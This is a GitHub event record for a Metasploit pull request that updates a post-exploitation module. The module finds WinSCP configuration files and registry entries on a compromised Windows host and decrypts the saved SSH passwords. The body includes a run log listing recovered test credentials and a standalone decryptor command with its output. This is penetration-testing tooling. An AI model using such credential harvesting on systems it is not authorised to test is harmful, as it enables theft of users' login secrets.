{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5799","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5799/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5799/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5799/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5799","id":98558274,"number":5799,"title":"Update WinSCP Gather","user":{"login":"Meatballs1","id":1854557,"avatar_url":"https://avatars.githubusercontent.com/u/1854557?v=3","gravatar_id":"","url":"https://api.github.com/users/Meatballs1","html_url":"https://github.com/Meatballs1","followers_url":"https://api.github.com/users/Meatballs1/followers","following_url":"https://api.github.com/users/Meatballs1/following{/other_user}","gists_url":"https://api.github.com/users/Meatballs1/gists{/gist_id}","starred_url":"https://api.github.com/users/Meatballs1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Meatballs1/subscriptions","organizations_url":"https://api.github.com/users/Meatballs1/orgs","repos_url":"https://api.github.com/users/Meatballs1/repos","events_url":"https://api.github.com/users/Meatballs1/events{/privacy}","received_events_url":"https://api.github.com/users/Meatballs1/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/library","name":"library","color":"fad8c7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2015-08-01T19:55:48Z","updated_at":"2015-09-01T18:47:35Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5799","html_url":"https://github.com/rapid7/metasploit-framework/pull/5799","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5799.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5799.patch"},"body":"I had to manually parse a WinSCP.ini file so had to refactor the code to Rex to be able to use it outside of this module. There were a few updates the module could take advantage of which I have included.\r\n\r\n* Refactor parsing to common library to support command line tool\r\n* Look in APPDATA not just ProgramFiles (has this changed in WinSCP versioning or just because of Windows version?)\r\n* Iterate over all users APPDATA as well\r\n* Store ini as loot\r\n* Use client side hostname resolving\r\n\r\n## Example Run\r\n\r\n```\r\n[*] [2015.08.01-20:51:03] Looking for WinSCP.ini file storage...\r\n[*] [2015.08.01-20:51:04] Looking for C:\\Users\\All Users\\AppData\\Roaming\\WinSCP.ini...\r\n[*] [2015.08.01-20:51:04] Looking for C:\\Users\\bob\\AppData\\Roaming\\WinSCP.ini...\r\n[+] [2015.08.01-20:51:04] WinSCP.ini located at C:\\Users\\bob\\AppData\\Roaming\\WinSCP.ini\r\n[*] [2015.08.01-20:51:05] WinSCP saved to loot: /home/ben/.msf4/loot/20150801205105_default_192.168.153.131_winscp.ini_884026.txt\r\n[-] [2015.08.01-20:51:13] Unable to store following credentials in database as we are unable to resolve the IP address: stdapi_net_resolve_host: Operation failed: 11001\r\n[+] [2015.08.01-20:51:13] Host: test, IP: , Port: 22, Service: SSH, Username: test1, Password: password1\r\n[+] [2015.08.01-20:51:13] Host: google.com, IP: 216.58.210.14, Port: 22, Service: SSH, Username: test, Password: password2\r\n[+] [2015.08.01-20:51:13] Host: bbc.com, IP: 212.58.246.104, Port: 22, Service: SSH, Username: test, Password: password2\r\n[*] [2015.08.01-20:51:13] Looking for C:\\Users\\Default\\AppData\\Roaming\\WinSCP.ini...\r\n[*] [2015.08.01-20:51:13] Looking for C:\\Users\\Default User\\AppData\\Roaming\\WinSCP.ini...\r\n[*] [2015.08.01-20:51:14] Looking for C:\\Users\\desktop.ini\\AppData\\Roaming\\WinSCP.ini...\r\n[*] [2015.08.01-20:51:14] Looking for C:\\Users\\IEUser\\AppData\\Roaming\\WinSCP.ini...\r\n[+] [2015.08.01-20:51:14] WinSCP.ini located at C:\\Users\\IEUser\\AppData\\Roaming\\WinSCP.ini\r\n[*] [2015.08.01-20:51:15] WinSCP saved to loot: /home/ben/.msf4/loot/20150801205115_default_192.168.153.131_winscp.ini_317377.txt\r\n[-] [2015.08.01-20:51:17] Unable to store following credentials in database as we are unable to resolve the IP address: stdapi_net_resolve_host: Operation failed: 11001\r\n[+] [2015.08.01-20:51:17] Host: test, IP: , Port: 22, Service: SSH, Username: test1, Password: password1\r\n[+] [2015.08.01-20:51:17] Host: google.com, IP: 216.58.210.14, Port: 22, Service: SSH, Username: test, Password: password2\r\n[+] [2015.08.01-20:51:18] Host: bbc.com, IP: 212.58.244.18, Port: 22, Service: SSH, Username: test, Password: password2\r\n[*] [2015.08.01-20:51:18] Looking for C:\\Users\\Public\\AppData\\Roaming\\WinSCP.ini...\r\n[*] [2015.08.01-20:51:18] Looking for Registry storage...\r\n[-] [2015.08.01-20:51:20] Error loading USER S-1-5-21-3463664321-2923530833-3546627382-1005: Hive could not be loaded, are you Admin?\r\n[-] [2015.08.01-20:51:24] Unable to store following credentials in database as we are unable to resolve the IP address: stdapi_net_resolve_host: Operation failed: 11001\r\n[+] [2015.08.01-20:51:24] Host: test, IP: , Port: 22, Service: SSH, Username: test1, Password: password1\r\n[*] Post module execution completed\r\n```\r\n\r\nStandalone ini decryptor is ghetto but gets the job done.\r\n\r\n```\r\nruby tools/winscp_decrypt.rb /home/ben/.msf4/loot/20150801205105_default_192.168.153.131_winscp.ini_884026.txt\r\n/home/ben/.msf4/loot/20150801205105_default_192.168.153.131_winscp.ini_884026.txt\r\n{:hostname=>\"test\", :password=>\"password1\", :portnumber=>22, :username=>\"test1\", :protocol=>\"SSH\"}\r\n{:hostname=>\"google.com\", :password=>\"password2\", :portnumber=>22, :username=>\"test\", :protocol=>\"SSH\"}\r\n{:hostname=>\"bbc.com\", :password=>\"password2\", :portnumber=>22, :username=>\"test\", :protocol=>\"SSH\"}\r\n```\r\n\r\n## Verification\r\n\r\n- [ ] Install WinSCP\r\n- [ ] Save a site with a password\r\n- [ ] Run module and check you retrieve values out of registry.\r\n- [ ] Check correctly stored in database.\r\n- [ ] Change Tools > Preferences > Storage to INI File\r\n- [ ] Save a site with a password\r\n- [ ] Run module and check you retrieve values out of registry.\r\n- [ ] Copy WinSCP.ini to other APPDATA locations if you want to check user gathering\r\n- [ ] Try the command line ini parser."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/136825278","html_url":"https://github.com/rapid7/metasploit-framework/pull/5799#issuecomment-136825278","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5799","id":136825278,"user":{"login":"Meatballs1","id":1854557,"avatar_url":"https://avatars.githubusercontent.com/u/1854557?v=3","gravatar_id":"","url":"https://api.github.com/users/Meatballs1","html_url":"https://github.com/Meatballs1","followers_url":"https://api.github.com/users/Meatballs1/followers","following_url":"https://api.github.com/users/Meatballs1/following{/other_user}","gists_url":"https://api.github.com/users/Meatballs1/gists{/gist_id}","starred_url":"https://api.github.com/users/Meatballs1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Meatballs1/subscriptions","organizations_url":"https://api.github.com/users/Meatballs1/orgs","repos_url":"https://api.github.com/users/Meatballs1/repos","events_url":"https://api.github.com/users/Meatballs1/events{/privacy}","received_events_url":"https://api.github.com/users/Meatballs1/received_events","type":"User","site_admin":false},"created_at":"2015-09-01T18:47:35Z","updated_at":"2015-09-01T18:47:35Z","body":"You think up some cruel and unusual punishments. "}}